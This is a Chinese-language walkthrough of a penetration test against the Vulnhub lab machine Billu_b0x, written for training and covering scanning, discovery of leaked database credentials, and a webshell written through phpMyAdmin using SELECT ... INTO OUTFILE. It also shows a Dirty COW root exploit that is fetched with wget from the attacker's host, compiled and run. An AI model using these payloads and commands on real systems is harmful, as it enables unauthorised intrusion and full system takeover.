从信息收集到权限提升:Billu_b0x靶机渗透测试实战全解析 1. 项目概述一次完整的渗透测试实战复盘最近在Vulnhub上把Billu_b0x这个靶机又刷了一遍感觉它确实是个非常经典的入门到进阶的练手环境。网上虽然有很多Writeup但大多只给了步骤和命令对于背后的思路、踩坑的细节以及为什么这么做的解释比较少。今天我就以一名渗透测试从业者的视角完整复盘我从信息收集到最终拿到root权限的全过程重点不是展示命令而是拆解每一步的思考逻辑、工具选择的原因以及那些“教程里不会告诉你”的实操细节。无论你是刚接触Vulnhub的新手还是想巩固一下Web渗透到系统提权完整链条的朋友这篇记录应该都能给你带来一些不一样的启发。Billu_b0x靶机模拟了一个存在多处漏洞的Linux系统我们的目标就是发现并利用这些漏洞最终完全控制它。2. 环境准备与目标确认2.1 实验环境搭建我的测试环境基于VMware Workstation。攻击机是一台Kali Linux 2024.1IP地址为192.168.1.105。靶机Billu_b0x从Vulnhub官网下载后直接导入VMware网络模式设置为“桥接模式”这样它和Kali就在同一个局域网段方便扫描和攻击。这里有个小技巧在启动靶机前最好先拍个快照。因为渗透测试过程中可能会意外导致服务崩溃或者修改了关键配置有个干净的快照可以随时回滚节省大量重新部署的时间。靶机启动后我们需要确定它的IP地址。通常Vulnhub靶机会通过DHCP自动获取IP我们可以在Kali上使用netdiscover或arp-scan进行二层发现。我更喜欢用arp-scan因为它更安静、更快。命令是sudo arp-scan -l。这条命令会扫描本地网络的所有活跃主机并显示其MAC地址和IP。从输出列表中我找到了一个MAC地址前缀为08:00:27这是VirtualBox的默认前缀VMware通常是00:0C:29或00:50:56的陌生IP192.168.1.106。这大概率就是我们的目标Billu_b0x。为了确认可以尝试用浏览器访问一下这个IP或者用ping命令测试连通性。我简单ping了一下有回复说明网络是通的。注意如果你的网络环境复杂可能有多个虚拟机可以通过MAC地址厂商信息辅助判断。但最可靠的方法还是用Nmap进行端口扫描看是否有靶机特有的服务如某个特定端口的Web应用开放。2.2 明确测试边界与原则在开始之前必须明确这是在一个完全受控的实验室环境Vulnhub中进行的安全测试所有行为都是合法且道德的。在实际工作中未经授权的渗透测试是违法的。我们的目标是模拟一个攻击者的视角但思维要比攻击者更缜密。整个流程会遵循一个基本框架信息收集 - 漏洞分析 - 漏洞利用 - 权限提升 - 报告整理。对于Billu_b0x我们已知它是一个有“flag”的靶机最终目标是读取/root目录下的flag文件这通常意味着我们需要获得root权限。3. 主动信息收集Nmap扫描的艺术信息收集是渗透测试的基石决定了后续所有动作的效率和成功率。对于一台未知主机Nmap是我们的首选工具。3.1 初始扫描策略选择面对192.168.1.106我首先进行了一次快速扫描目的是确认主机存活并发现最明显的开放端口。我使用的命令是nmap -sS -T4 192.168.1.106。-sS代表TCP SYN扫描。这是最常用、最隐蔽的扫描方式之一。它发送SYN包如果端口开放会收到SYN-ACK如果关闭会收到RST。它不会完成完整的TCP三次握手因此被称为“半开扫描”比全连接扫描-sT更不易被日志记录。-T4指定扫描速度模板为4Aggressive。T0到T5数字越大速度越快但也越容易被发现。T4在速度和隐蔽性之间取得了很好的平衡适合内部测试环境。扫描结果很快出来了显示开放了80端口HTTP服务和22端口SSH服务。这是一个非常典型的LAMPLinux, Apache, MySQL, PHP服务器配置雏形。Web服务80往往是突破口而SSH22可能是后续维持访问或提权的通道。3.2 深度服务版本探测与脚本扫描知道了开放端口下一步就是深入了解这些端口上运行的具体服务及其版本。这能帮助我们精准地搜索已知漏洞。我使用了更全面的命令nmap -sV -sC -p 80,22 -oA billu_initial 192.168.1.106。-sV版本探测。尝试确定端口上服务的具体名称和版本号例如Apache 2.4.7 OpenSSH 7.2p2。-sC使用默认的Nmap脚本引擎NSE进行扫描。这些脚本能进行更深入的探测比如检查HTTP服务的robots.txt、常见目录、服务器信息头等。-p 80,22指定扫描的端口提高效率。-oA billu_initial以三种格式normal, XML, grepable输出结果到以“billu_initial”为前缀的文件中方便后续查阅和报告编写。这次扫描的详细结果非常关键端口80/tcp服务被识别为Apache httpd。脚本扫描发现了根目录下有一个robots.txt文件并且探测到服务器可能运行PHP通过X-Powered-By响应头或页面特征。没有发现明显的目录列表漏洞。端口22/tcp服务被识别为OpenSSH 7.2p2 Ubuntu 4ubuntu2.2。这直接告诉我们目标系统很可能是Ubuntu并且版本是16.04 Xenial Xerus因为7.2p2是这个版本的默认SSH版本。这个信息对于后续寻找系统层面的漏洞至关重要。实操心得永远不要只满足于“端口开放”这个信息。-sV和-sC的组合是标准动作。版本信息是漏洞库如Exploit-DB搜索的关键输入。例如知道是OpenSSH 7.2p2就可以去搜索这个版本是否有公开的远程漏洞。虽然这个版本相对较新且稳定远程利用可能性低但它是系统指纹的重要部分。3.3 全端口扫描与UDP扫描考量在时间允许或对隐蔽性要求不高的内部测试中进行全端口扫描1-65535是必要的因为有些服务可能运行在非标准端口上。命令可以是nmap -sS -p- -T4 192.168.1.106。-p-就代表所有端口。 对于Billu_b0x我做了全端口扫描但结果和之前一样只有80和22。这说明靶机设计得比较“干净”重点在Web应用漏洞上。 至于UDP扫描-sU由于UDP扫描速度极慢端口关闭时系统可能不回复需要超时等待且Billu_b0x作为Web靶机的特性我暂时搁置了UDP扫描。在实际项目中DNS53、SNMP161等UDP服务是需要关注的。4. Web应用渗透突破80端口既然Web服务是主要入口我们的注意力就集中到了http://192.168.1.106。4.1 基础信息收集与目录枚举首先用浏览器访问了该地址。页面是一个简单的登录界面标题是“Billu Box”。查看网页源代码没有发现注释中有用的信息如备份文件路径、测试账号等。接着我检查了Nmap脚本扫描时发现的robots.txt内容如下User-agent: * Disallow: /test.php Disallow: /phpmy/ Disallow: /phpmyadmin/ Disallow: /images这给了我们三个明确的路径/test.php/phpmy//phpmyadmin/。/images通常是图片目录价值不大。/phpmy/和/phpmyadmin/强烈暗示服务器上安装了phpMyAdmin这是一个用PHP编写的MySQL数据库管理工具常常是攻击的目标。我立即访问了/phpmy/和/phpmyadmin/。/phpmyadmin/返回了404但/phpmy/成功打开了phpMyAdmin的登录页面这是一个重大发现。默认情况下phpMyAdmin可能使用弱密码如root/root root/空或者存在已知漏洞。4.2 目录暴力破解与敏感文件发现除了robots.txt给出的提示我们还需要系统地发现其他隐藏目录或文件。我使用了gobuster工具进行目录爆破gobuster dir -u http://192.168.1.106 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bakdir指定目录扫描模式。-u指定目标URL。-w指定字典文件这里用了Kali自带的common.txt。-x指定尝试的文件扩展名。bak扩展名很重要开发者可能会留下备份文件如index.php.bak里面可能包含源代码。扫描结果除了已知的/images、/phpmy/外还发现了几个关键目录/add.php一个“添加用户”的页面但需要权限。/c.php看起来像一个配置文件或测试文件。/index.php主登录页面。/panel.php又一个面板页面。/show.php可能用于显示数据。/uploaded_files/一个上传目录这立刻引起了我的警觉文件上传是常见的漏洞点。/head.php、/in.php可能是包含文件。我逐一访问这些页面。/add.php、/panel.php、/show.php都直接跳转回/index.php说明存在登录验证。/c.php直接显示了源代码这是一段PHP连接数据库的配置代码这是本次测试的第一个关键转折点。4.3 源代码泄露与数据库凭证获取访问http://192.168.1.106/c.php页面内容如下?php $conn mysqli_connect(127.0.0.1, root, root, billu); if (!$conn) { die(Connection failed: . mysqli_connect_error()); } ?信息非常清晰数据库服务器在本地127.0.0.1用户名是root密码是root数据库名是billu。这是典型的开发环境弱口令。我们拿到了数据库的凭据但如何利用呢直接远程连接MySQLNmap扫描没开3306端口说明MySQL只监听本地localhost。所以我们需要通过Web应用来与数据库交互突破口就是phpMyAdmin。4.4 利用phpMyAdmin获取WebShell我们拥有数据库的root权限用户名/密码root/root而phpMyAdmin正是一个通过Web界面管理MySQL的工具。访问http://192.168.1.106/phpmy/使用root和root登录成功进入phpMyAdmin管理后台在phpMyAdmin中我们可以执行任意SQL语句。我们的目标是获得在服务器上执行命令的能力即获取一个WebShell。常见的方法是通过SQL语句向Web目录写入一个PHP文件。首先我们需要知道网站的绝对路径。有几种方法查看phpMyAdmin变量在phpMyAdmin的“变量”选项卡中搜索document_root或basedir但可能没有。利用SQL查询在SQL选项卡中执行SELECT basedir;或SHOW VARIABLES LIKE ‘%basedir%’;来查看MySQL基础目录但网站根目录通常不同。通过错误信息在phpMyAdmin中故意执行一个错误SQL或者查看phpMyAdmin自身的配置文件信息但比较麻烦。经验猜测对于常见的Apache on UbuntuWeb根目录很可能是/var/www/html/。我们先按这个假设尝试。在phpMyAdmin中选择billu数据库然后进入SQL执行界面输入以下命令SELECT ?php system($_GET[cmd]); ? INTO OUTFILE /var/www/html/shell.php这条命令的意思是将一段PHP代码接收cmd参数并执行系统命令写入到/var/www/html/shell.php文件中。执行后如果成功页面会显示“影响了一行”。注意事项INTO OUTFILE需要MySQL的FILE权限并且目标目录这里是/var/www/htmlMySQL进程用户通常是www-data或mysql必须有写权限。我们用的是root账户权限足够但目录权限是关键。如果写入失败可能是路径错误或目录不可写。可以尝试其他路径如/var/www/、/home/billu/www/等或者先通过SELECT ‘test’ INTO OUTFILE ‘/tmp/test.txt’;来测试/tmp目录是否可写因为/tmp通常全局可写。执行后我立即访问http://192.168.1.106/shell.php?cmdid。如果成功页面会显示uid33(www-data) gid33(www-data) groups33(www-data)这样的命令执行结果。很遗憾我遇到了404错误。说明文件没有成功写入/var/www/html或者路径不对。4.5 定位Web目录与成功获取Shell写入失败我们需要更准确地定位Web根目录。我回到之前发现的/test.php页面robots.txt里Disallow的那个。访问http://192.168.1.106/test.php它显示了一个PHP信息页面phpinfo()。这是一个宝藏在phpinfo()的输出中搜索_SERVER[“DOCUMENT_ROOT”]其值明确显示为/var/www。原来根目录是/var/www而不是/var/www/html这是一个关键差异。于是我修改SQL命令重新写入SELECT ?php system($_GET[cmd]); ? INTO OUTFILE /var/www/shell.php执行成功。再次访问http://192.168.1.106/shell.php?cmdid这次成功返回了www-data用户的身份信息我们获得了命令执行能力也就是一个简单的Web Shell。实操心得在利用INTO OUTFILE写WebShell时准确知道Web绝对路径是成功的关键。phpinfo()页面、应用报错信息、甚至一些默认的安装脚本都可能泄露路径信息。永远不要只依赖经验猜测要尽可能从目标系统本身获取证据。5. 权限提升从www-data到root拿到了www-data的shell我们算是站住了脚但权限很低。目标是读取/root/flag.txt需要root权限。接下来就是提权Privilege Escalation阶段。5.1 初步系统信息收集首先通过Web Shell收集更多系统信息为提权做准备。我执行了一系列命令uname -a查看内核版本。输出显示是Linux billu 4.4.0-31-generic #50-Ubuntu SMP ...内核版本4.4.0-31。cat /etc/issue或cat /etc/lsb-release确认系统版本。确认是Ubuntu 16.04。sudo -l检查当前用户www-data可以使用sudo以root权限运行哪些命令。输入当前用户密码我们不知道www-data的密码。通常需要密码所以这一步很可能没用但一定要试。find / -perm -us -type f 2/dev/null查找所有SUIDSet User ID权限的文件。SUID文件在执行时会以文件所有者的身份运行。如果找到一个属于root且具有SUID权限的、功能强大的二进制文件如find、vim、bash等就可能利用它来提权。结果中发现了/bin/mount、/bin/su、/bin/ping等常见的SUID文件但直接利用难度较大。cat /etc/passwd查看用户列表。发现了几个用户rootbillu可能是普通用户www-data等。ps aux查看运行进程。发现了mysql、apache2等。5.2 内核漏洞提权尝试既然知道了内核版本是4.4.0-31Ubuntu 16.04我立刻想到这个版本范围内存在一些著名的本地提权漏洞例如Dirty COWCVE-2016-5195。Dirty COW是一个非常可靠的内核提权漏洞影响范围广。我决定尝试利用它。在攻击机Kali上我搜索了本地提权漏洞利用代码。Kali系统中通常预置了一些位于/usr/share/exploitdb/exploits/linux/local/。我找到了多个Dirty COW的exp例如40839.c。为了将其传到靶机上我需要在靶机上开启一个简单的HTTP服务或者利用Web Shell直接写入。我选择在Kali上启动一个临时的HTTP服务器在exp所在目录执行python3 -m http.server 8080。然后在靶机的Web Shell中使用wget命令下载expwget http://192.168.1.105:8080/40839.c -O /tmp/dirty.c如果靶机没有wget可以尝试curl。下载后需要在靶机上编译它。先检查是否有gccwhich gcc。有的话编译gcc /tmp/dirty.c -o /tmp/dirty -pthread。编译成功后运行/tmp/dirty。运行exp后它会利用漏洞将/etc/passwd中的root用户替换为一个带密码的root用户密码已知或者创建一个具有root权限的SUID文件。根据exp的不同提权方式略有差异。我运行了一个常见的Dirty COW exp后它提示成功并让我运行/tmp/run这个文件。执行/tmp/run我直接获得了一个root shell输入id命令显示uid0(root) gid0(root)。提权成功。常见问题与排查如果编译失败可能是缺少pthread库。可以尝试gcc dirty.c -o dirty -lpthread。如果exp运行后没有成功可能是系统已经打过补丁。这时需要尝试其他内核exp或者转向其他提权方法。在Billu_b0x这个特定靶机中Dirty COW是设计好的漏洞所以应该能成功。但在真实环境中一定要先确认漏洞是否存在盲目运行exp可能导致系统崩溃。5.3 替代提权路径敏感信息收集在提权过程中还有一条并行的路径寻找敏感配置文件或密码。既然我们有了www-data的shell可以遍历网站目录寻找配置文件。我检查了/var/www/目录下的其他文件特别是/var/www/panel.php、/var/www/index.php等。查看index.php的源代码发现了数据库连接逻辑但凭据我们已经从c.php拿到了。我还尝试寻找/home/billu目录下的用户文件如.bash_history、.ssh/id_rsa等但权限不足。如果内核提权失败这些信息收集可能带来转机。例如可能在某个配置文件里发现数据库密码复用为系统用户密码或者发现一个可以sudo的命令。在本靶机中内核提权是最直接的路径。6. 后渗透与总结获得root shell后最后一步就是寻找flag。通常flag在/root目录下。执行ls -la /root果然看到了flag.txt或proof.txt。用cat /root/flag.txt读取内容完成整个渗透测试。6.1 清理痕迹可选在真实渗透测试中获得授权后可能需要清理留下的后门和日志。在本练习中我们可以选择清理。删除上传的WebShellrm /var/www/shell.php。删除编译的提权exprm /tmp/dirty.c /tmp/dirty /tmp/run具体文件名根据exp而定。清除相关日志如Apache访问日志、命令历史等但Vulnhub靶机通常不需要。6.2 完整攻击链复盘回顾整个Billu_b0x的渗透过程攻击链非常清晰信息收集Nmap扫描发现80Web、22SSH端口。Web侦察目录枚举发现robots.txt进而找到phpmy/phpMyAdmin和test.phpphpinfo。漏洞利用通过test.php泄露的路径信息结合c.php泄露的数据库凭证root/root。登录phpMyAdmin利用MySQL的FILE权限和绝对路径知识写入WebShellshell.php。初始立足通过WebShell获得www-data权限的交互式命令行。权限提升信息收集发现内核版本为4.4.0-31。利用Dirty COWCVE-2016-5195本地内核漏洞编译并运行exp成功获得root权限。目标达成读取/root/flag.txt。6.3 核心经验与技巧信息收集的深度决定宽度不要只做端口扫描。Web目录枚举、文件发现、源代码查看、版本信息精确获取每一步都可能带来突破。robots.txt和phpinfo()是这个靶机的关键信息源。凭证复用与横向移动开发环境中数据库弱口令非常常见。这些凭证可能在其他地方复用比如SSH登录、FTP等。即使不能直接远程登录数据库通过Web接口如phpMyAdmin也能达到同样效果。绝对路径是写Shell的生命线利用SQL注入或数据库功能写文件时必须知道目标的绝对路径。通过错误信息、配置文件、phpinfo()、甚至一些默认安装页面来获取。提权需要系统化思维拿到低权限shell后要像做CTF一样系统化收集信息内核版本、系统版本、sudo -l、SUID文件、计划任务、环境变量、进程、安装的软件版本等。内核漏洞如Dirty COW是Linux提权的一大类常见方法。工具是辅助思路是关键整个过程用了Nmap、gobuster、浏览器、phpMyAdmin、wget、gcc等工具但更重要的是将每个发现的信息点串联起来的逻辑思维。为什么看robots.txt为什么关注phpinfo()为什么选择Dirty COW这都是基于经验和对系统、应用的理解。这个靶机涵盖了从外部侦察、Web渗透、数据库利用到本地提权的完整基础流程是一个非常棒的综合练习。它提醒我们安全是一个链条任何一个环节的疏忽如弱口令、敏感信息泄露、未打补丁的内核都可能导致整个防线失守。对于防御者而言修补漏洞、强化口令、最小权限原则、及时更新系统是必须坚持的基本功。